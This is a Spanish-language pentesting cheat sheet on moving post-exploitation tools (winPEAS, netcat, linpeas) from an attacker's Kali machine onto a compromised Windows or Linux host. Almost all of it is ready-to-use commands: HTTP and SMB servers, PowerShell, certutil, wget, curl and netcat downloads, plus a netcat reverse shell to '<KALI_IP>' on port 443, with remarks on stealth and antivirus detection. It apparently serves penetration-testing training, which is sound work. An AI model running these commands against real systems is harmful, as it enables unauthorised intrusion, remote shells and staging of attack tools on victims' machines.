Salta el contingut

File Transfers

[!tip] Context Tienes RCE pero necesitas subir winPEAS.exe, nc.exe o chisel. La máquina víctima NO tiene internet, pero ve a tu Kali.

1. Serving Files (From Kali)

Levanta esto primero en el directorio donde tienes tus herramientas.

# Python 3 (El estándar)
python3 -m http.server 80

# Impacket SMB Server (Para Windowstargets)
# Permite copiar archivos sin autenticación
smbserver.py share . -smb2support


2. Windows Downloads

La forma moderna.

iwr -uri http://<KALI_IP>/nc.exe -OutFile c:\windows\temp\nc.exe

Si iwr (curl alias) no existe (PowerShell antiguo).

(New-Object Net.WebClient).DownloadFile('http://<KALI_IP>/winPEAS.exe', 'c:\windows\temp\peas.exe')

Nativo en CMD, viviendo en el pasado. A veces detectado por AV.

certutil.exe -urlcache -split -f http://<KALI_IP>/nc.exe c:\windows\temp\nc.exe

Si estás corriendo smbserver.py en Kali. Muy sigiloso.

copy \\<KALI_IP>\share\nc.exe c:\windows\temp\nc.exe

# O ejecutar directamente desde el share (si la red lo permite)
\\<KALI_IP>\share\nc.exe -e cmd <KALI_IP> 443


3. Linux Downloads

wget http://<KALI_IP>/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
curl http://<KALI_IP>/linpeas.sh -o /tmp/linpeas.sh

Si no hay web tools.

# En Kali (Sender)
nc -lvnp 80 < linpeas.sh

# En Víctima (Receiver)
nc <KALI_IP> 80 > /tmp/linpeas.sh

Si TODO falla y solo tienes una shell.

# Kali: Convertir a base64
base64 -w0 linpeas.sh

# Víctima: Pegar y decodificar
echo "<BASE64_STRING>" | base64 -d > /tmp/linpeas.sh